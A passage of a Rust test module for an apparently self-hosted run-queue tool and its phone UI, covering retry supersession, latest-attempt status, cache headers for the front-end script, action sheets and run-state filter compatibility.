13830        // A Ready run settles the task as done, so it is named as the finisher.
13831        write_run(dir.path(), c, RunStatus::Ready);
13832        let t = outcome_task(&[a, c], TaskStatus::Done);
13833        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13834        assert_eq!(out.finished_by.expect("finisher").id, c);
13835        assert!(!out.closed_by_hand);
13836
13837        // A resumed run id repeats: it is still the latest by id.
13838        let t = outcome_task(&[a, b, a], TaskStatus::Held);
13839        assert!(task_outcome(&t, a, 3, read).is_latest);
13840    }
13841
13842    #[tokio::test]
13843    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13844        // The list route has known this since the card fix above; the detail
13845        // route — what an operator actually opens from a notification about
13846        // a blocked run — did not, and went on showing a bare red BLOCKED
13847        // chip for a run a retry had already finished.
13848        let fx = Fixture::start().await;
13849        let q = fx.queue();
13850        let runs = fx.runs();
13851        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13852        write_run(&runs, first, RunStatus::Blocked);
13853        write_run(&runs, second, RunStatus::Merged);
13854
13855        let mut t = Task::new(
13856            "one task".to_owned(),
13857            "do it".to_owned(),
13858            PathBuf::from("/repo"),
13859            Source::Human,
13860        );
13861        t.runs = vec![first.to_owned(), second.to_owned()];
13862        q.put(&mut t).expect("put");
13863
13864        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13865        assert_eq!(earlier["superseded_by"], "dddd");
13866        assert_eq!(earlier["latest_attempt"]["id"], second);
13867        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13868        assert_eq!(
13869            earlier["latest_attempt"]["resolved"], true,
13870            "the run that replaced it landed, so this one reads as settled"
13871        );
13872
13873        let later = fx.get(&format!("/api/runs/{second}")).await.json();
13874        assert!(
13875            later["superseded_by"].is_null(),
13876            "the latest attempt is not superseded by anything"
13877        );
13878        assert!(
13879            later["latest_attempt"].is_null(),
13880            "the latest attempt has no later attempt of its own"
13881        );
13882
13883        // Front end: the detail page has to read the field this route now
13884        // carries, downgrade the chip, and link to the run that replaced it —
13885        // not just repeat the list card's own logic under a different name.
13886        // The link is built off `latest_attempt.id`, the server-resolved
13887        // full id, never a bare short string a client would have to guess a
13888        // full run from.
13889        assert!(APP_JS.contains("run.latest_attempt"));
13890        assert!(APP_JS.contains("data-superseded"));
13891        assert!(APP_JS.contains("#/runs/${latest.id}"));
13892    }
13893
13894    #[tokio::test]
13895    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13896        // A -> B -> C, all Blocked except the last. A's immediate successor
13897        // (superseded_by) is B, which is itself unresolved; what an operator
13898        // opening A's page actually needs is where the task's story stands
13899        // *now* - C, not B - without depending on whether C happens to be in
13900        // whatever page of /api/runs the client last cached.
13901        let fx = Fixture::start().await;
13902        let q = fx.queue();
13903        let runs = fx.runs();
13904        let (a, b, c) = (
13905            "20260901-000000-aaaa",
13906            "20260901-000000-bbbb",
13907            "20260901-000000-cccc",
13908        );
13909        write_run(&runs, a, RunStatus::Blocked);
13910        write_run(&runs, b, RunStatus::Blocked);
13911        write_run(&runs, c, RunStatus::Merged);
13912
13913        let mut t = Task::new(
13914            "retried twice".to_owned(),
13915            "do it".to_owned(),
13916            PathBuf::from("/repo"),
13917            Source::Human,
13918        );
13919        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13920        q.put(&mut t).expect("put");
13921
13922        let view = fx.get(&format!("/api/runs/{a}")).await.json();
13923        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13924        assert_eq!(
13925            view["latest_attempt"]["id"], c,
13926            "the chain's current head, not the intermediate Blocked retry"
13927        );
13928        assert_eq!(view["latest_attempt"]["resolved"], true);
13929
13930        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13931        assert_eq!(mid["latest_attempt"]["id"], c);
13932        assert_eq!(mid["latest_attempt"]["resolved"], true);
13933    }
13934
13935    #[tokio::test]
13936    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13937        let fx = Fixture::start().await;
13938        let q = fx.queue();
13939        let runs = fx.runs();
13940
13941        // Still Blocked: the task is not resolved, so the older run must not
13942        // read as settled either.
13943        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13944        write_run(&runs, still_blocked_a, RunStatus::Blocked);
13945        write_run(&runs, still_blocked_b, RunStatus::Blocked);
13946        let mut t1 = Task::new(
13947            "still stuck".to_owned(),
13948            "do it".to_owned(),
13949            PathBuf::from("/repo"),
13950            Source::Human,
13951        );
13952        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13953        q.put(&mut t1).expect("put");
13954        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13955        assert_eq!(view1["latest_attempt"]["resolved"], false);
13956        assert_eq!(view1["latest_attempt"]["status"], "blocked");
13957        assert_eq!(view1["latest_attempt"]["done"], true);
13958
13959        // Still running: the successor exists and must be reported as such.
13960        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13961        write_run(&runs, run_a, RunStatus::Blocked);
13962        write_run(&runs, run_b, RunStatus::Implementing);
13963        let mut t3 = Task::new(
13964            "retrying".to_owned(),
13965            "do it".to_owned(),
13966            PathBuf::from("/repo"),
13967            Source::Human,
13968        );
13969        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13970        q.put(&mut t3).expect("put");
13971        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13972        assert_eq!(view3["latest_attempt"]["id"], run_b);
13973        assert_eq!(view3["latest_attempt"]["resolved"], false);
13974        assert_eq!(view3["latest_attempt"]["done"], false);
13975
13976        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
13977        // to check - not a confirmed finish, so this must not read as
13978        // resolved either, even though the run is done in the sense that
13979        // nothing is still running.
13980        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13981        write_run(&runs, noop_a, RunStatus::Blocked);
13982        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13983        let mut t2 = Task::new(
13984            "claims done".to_owned(),
13985            "do it".to_owned(),
13986            PathBuf::from("/repo"),
13987            Source::Human,
13988        );
13989        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13990        q.put(&mut t2).expect("put");
13991        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13992        assert_eq!(
13993            view2["latest_attempt"]["resolved"], false,
13994            "an unverified no-op claim must not read as a confirmed finish"
13995        );
13996
13997        // Front end: an unresolved successor must not carry the "finished
13998        // this work" note or the muted chip treatment.
13999        assert!(APP_JS.contains("latest.resolved"));
14000        // ...but the link to it shows as soon as it exists, labelled by state
14001        // and without the "finished" wording or the muted chip.
14002        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
14003        assert!(APP_JS.contains("Latest attempt: "));
14004        assert!(APP_JS.contains("in flight"));
14005        assert!(APP_JS.contains("not resolved"));
14006    }
14007
14008    #[tokio::test]
14009    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
14010        let fx = Fixture::start().await;
14011        // No cache header at all meant browsers invented their own policy,
14012        // and one did: a phone went on showing "Candidates must be folded
14013        // before deleting. Run `magi fold` first." - deleted two releases
14014        // earlier - from a deck that no longer contained the sentence. The
14015        // button it named was right there, and unreachable.
14016        let js = fx.get("/app.js").await;
14017        assert_eq!(js.status, 200);
14018        let tag = js
14019            .header("etag")
14020            .expect("an etag to revalidate against")
14021            .to_owned();
14022        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
14023        assert_eq!(
14024            js.header("cache-control"),
14025            Some("no-cache, must-revalidate"),
14026            "the phone has to ask every time"
14027        );
14028
14029        // And the asking has to be cheap, or `must-revalidate` just means
14030        // "send the whole interface on every load".
14031        let again = fx
14032            .get_with("/app.js", &[("if-none-match", tag.as_str())])
14033            .await;
14034        assert_eq!(
14035            again.status, 304,
14036            "a deck it already has costs one round trip"
14037        );
14038        assert!(again.body.is_empty(), "304 carries no body");
14039
14040        // A weakened tag from a proxy still matches; a different build does
14041        // not, which is the case that has to deliver the new interface.
14042        let weak = fx
14043            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
14044            .await;
14045        assert_eq!(weak.status, 304);
14046        let stale = fx
14047            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
14048            .await;
14049        assert_eq!(stale.status, 200, "an older build must be replaced");
14050        assert!(stale.body.contains("renderRunActions"));
14051    }
14052
14053    #[test]
14054    fn the_task_detail_has_an_actions_fab_and_sheet() {
14055        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14056        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14057        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14058        // Shown only on the task route, closed everywhere else.
14059        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14060        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14061        // Refreshed whenever the detail redraws, including the loading state.
14062        assert!(APP_JS.contains("renderTaskActions(task);"));
14063        assert!(APP_JS.contains("renderTaskActions(null);"));
14064        // Same renderers and routes as the Queue card, no new endpoint.
14065        let sheet = APP_JS
14066            .find("function renderTaskActions")
14067            .expect("sheet renderer");
14068        let body = &APP_JS[sheet..sheet + 3000];
14069        assert!(body.contains("changePriority("));
14070        assert!(body.contains("openTaskEdit(task)"));
14071        assert!(body.contains("renderTaskHoldBox(host"));
14072        assert!(body.contains("renderTaskDoneBox(host"));
14073        assert!(body.contains("renderTaskDeleteBox(host"));
14074        assert!(APP_JS.contains("API.priority(id)"));
14075        assert!(APP_JS.contains("API.deleteTask(id)"));
14076        // A deleted task sends the operator back to the queue.
14077        assert!(APP_JS.contains("location.hash = \"#/queue\""));
14078        // A refusal is shown inside the sheet.
14079        assert!(APP_JS.contains("$(\"task-actions-error\")"));
14080    }
14081
14082    #[test]
14083    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
14084        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
14085        let actions = INDEX_HTML
14086            .find("id=\"run-actions-box\"")
14087            .expect("actions box");
14088        assert!(task < actions, "the task entry comes first in the sheet");
14089        assert!(APP_JS.contains("renderRunTaskEntry"));
14090        assert!(APP_JS.contains("\"Open task \""));
14091        // A run without a task says why there is nothing to open.
14092        assert!(APP_JS.contains("started directly, no task"));
14093        assert!(APP_JS.contains("sheet-task-link"));
14094        assert!(APP_JS.contains("task-chip-link"));
14095    }
14096
14097    #[test]
14098    fn the_deck_never_sends_the_operator_to_a_terminal() {
14099        // The whole point of the phone UI is that a terminal is not needed.
14100        // The delete control used to answer with "Run `magi fold` first."
14101        assert!(
14102            !APP_JS.contains("Run `magi fold` first"),
14103            "the deck must offer the fold, not prescribe a shell command"
14104        );
14105        assert!(APP_JS.contains("foldRun:"));
14106        assert!(APP_JS.contains("resumeRun:"));
14107        assert!(APP_JS.contains("renderRunActions"));
14108
14109        // Folding is destructive and armed in two steps, like deleting.
14110        assert!(APP_JS.contains("armedFold"));
14111        assert!(APP_JS.contains("Yes, fold worktrees"));
14112
14113        // And the copy has to say that the two actions are opposites, because
14114        // folding throws away exactly what a resume would continue from.
14115        assert!(APP_JS.contains("can no longer be resumed"));
14116    }
14117
14118    #[test]
14119    fn a_finished_run_explains_itself_with_its_own_last_line() {
14120        // The deck used to answer "why did this stop?" with a sentence chosen
14121        // by status alone. Run e633 stalled because two judges answered with
14122        // the wrong JSON shape and its card said "The panel collapsed on
14123        // agent quota" - with `quota: []` in the record and a quota-loss
14124        // counter right above it that correctly said nothing.
14125        assert!(
14126            !APP_JS.contains("collapsed on agent quota"),
14127            "a stall must not be explained by a cause the deck did not check"
14128        );
14129        assert!(
14130            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
14131            "and a block must not offer a guess with an `or` in it"
14132        );
14133
14134        // The reason it does have is `run.event`, which must reach finished
14135        // runs: gating it on movement hid the recorded truth at the one moment
14136        // the operator is reading the card to find out what happened.
14137        assert!(
14138            APP_JS.contains("setText(r.event, run.event || \"\")"),
14139            "the run's last line is rendered unconditionally"
14140        );
14141        assert!(
14142            !APP_JS.contains("moving && run.event"),
14143            "and never gated on the run still moving"
14144        );
14145
14146        // Quota keeps its own counter, fed by the number actually recorded.
14147        assert!(APP_JS.contains("lost to quota"));
14148    }
14149
14150    /// The runs tree (section) and the state chips (waiting/done) are two
14151    /// independent lenses ANDed together in `renderRuns`, and some pairings
14152    /// can never both be true for any run - every "Landed"/"Ended" run is
14153    /// done by construction, so pairing either with "Active" or "In flight"
14154    /// always rendered zero cards with the filter bar still claiming
14155    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
14156    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
14157    /// a handful of (waiting, status) shapes standing in for the run
14158    /// lifecycle, because `cargo test` cannot execute the front end.
14159    ///
14160    /// That stand-in list is itself the part that drifted twice in review:
14161    /// once shipped with `waiting: true` paired with a done status the
14162    /// lifecycle cannot produce, then over-corrected into treating every
14163    /// waiting run as never done - which made "Waiting on you" look
14164    /// incompatible with "Done" even for the one real, reachable shape
14165    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
14166    /// that combination. This test parses the shapes and the done-rule back
14167    /// out of `APP_JS`, reimplements `runSection` and the five state
14168    /// predicates independently in Rust, and checks the resulting
14169    /// section/filter compatibility table against the lifecycle rules by
14170    /// hand - so either direction of drift fails it again.
14171    #[test]
14172    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
14173        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
14174        let shapes_body_start =
14175            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
14176        let shapes_close = APP_JS[shapes_body_start..]
14177            .find("].map(")
14178            .expect("the shape list is closed by its done-computing .map(...)")
14179            + shapes_body_start;
14180        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
14181
14182        let mut shapes: Vec<(bool, String, bool)> = Vec::new();
14183        for entry in shapes_src.split('{').skip(1) {
14184            let waiting = entry.contains("waiting: true");
14185            let dead = entry.contains("live: \"dead\"");
14186            let status_at =
14187                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
14188            let status_end = entry[status_at..]
14189                .find('"')
14190                .expect("the status string is closed")
14191                + status_at;
14192            shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
14193        }
14194        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
14195
14196        // The done rule itself (`!["implementing"].includes(shape.status)`),
14197        // read out of the source rather than hardcoded, so a renamed
14198        // in-flight status can't silently make every parsed shape "done".
14199        let done_rule_marker = "done: !";
14200        let done_rule_at = APP_JS[shapes_close..]
14201            .find(done_rule_marker)
14202            .expect("the done rule follows the shape list")
14203            + shapes_close
14204            + done_rule_marker.len();
14205        let includes_at = APP_JS[done_rule_at..]
14206            .find(".includes(shape.status)")
14207            .expect("the done rule ends in .includes(shape.status)")
14208            + done_rule_at;
14209        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
14210            .trim()
14211            .trim_start_matches('[')
14212            .trim_end_matches(']')
14213            .split(',')
14214            .map(|s| s.trim().trim_matches('"'))
14215            .filter(|s| !s.is_empty())
14216            .collect();
14217
14218        let shapes: Vec<(bool, String, bool, bool)> = shapes
14219            .into_iter()
14220            .map(|(waiting, status, dead)| {
14221                let done = !not_done.contains(&status.as_str());
14222                (waiting, status, dead, done)
14223            })
14224            .collect();
14225
14226        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
14227        // outright, then merged/ready land, stalled/blocked/failed/
14228        // verified_noop end, and everything else is still in flight.
14229        fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14230            if waiting {
14231                return "waiting";
14232            }
14233            if dead
14234                && !matches!(
14235                    status,
14236                    "merged"
14237                        | "ready"
14238                        | "stalled"
14239                        | "blocked"
14240                        | "failed"
14241                        | "verified_noop"
14242                        | "superseded"
14243                        | "already_in_base"
14244                )
14245            {
14246                return "stale";
14247            }
14248            match status {
14249                "merged" | "ready" => "landed",
14250                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
14251                | "already_in_base" => "ended",
14252                _ => "flight",
14253            }
14254        }
14255
14256        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
14257        // way.
14258        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
14259            match filter_key {
14260                "active" => !done,
14261                "flight" => !done && !waiting && !dead,
14262                "stale" => !done && !waiting && dead,
14263                "waiting" => waiting,
14264                "done" => done,
14265                "all" => true,
14266                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
14267            }
14268        }
14269
14270        let compatible = |section: &str, filter_key: &str| {
14271            shapes.iter().any(|(waiting, status, dead, done)| {
14272                run_section(*waiting, status, *dead) == section
14273                    && filter_matches(filter_key, *waiting, *dead, *done)
14274            })
14275        };
14276
14277        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
14278        // (active, flight, stale, waiting, done, all) - hand-derived from the
14279        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
14280        // currently contains.
14281        let expected = [
14282            ("waiting", [true, false, false, true, true, true]),
14283            ("stale", [true, false, true, false, false, true]),
14284            ("flight", [true, true, false, false, false, true]),
14285            ("landed", [false, false, false, false, true, true]),
14286            ("ended", [false, false, false, false, true, true]),
14287        ];
14288        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
14289
14290        for (section, wants) in expected {
14291            for (filter_key, want) in filter_keys.iter().zip(wants) {
14292                assert_eq!(
14293                    compatible(section, filter_key),
14294                    want,
14295                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
14296                );
14297            }
14298        }
14299
14300        // The compatibility check exists only to be acted on: both pickers
14301        // must actually consult it rather than just render its answer.
14302        assert!(
14303            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
14304        );
14305        assert!(APP_JS.contains(
14306            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
14307        ));
14308        assert!(APP_JS.contains(
14309            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
14310        ));
14311    }
14312
14313    #[tokio::test]
14314    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
14315        // An operator-named directory - git checkout or not - is never
14316        // second-guessed, even when it does not exist at all: only the
14317        // flag's own unmodified `.` default is ever eligible for discovery.
14318        let dir = tempfile::tempdir().expect("tempdir");
14319        let explicit = dir.path().join("not-a-checkout");
14320        std::fs::create_dir_all(&explicit).expect("create dir");
14321        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
14322
14323        let missing = dir.path().join("does-not-exist-at-all");
14324        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14325    }
14326}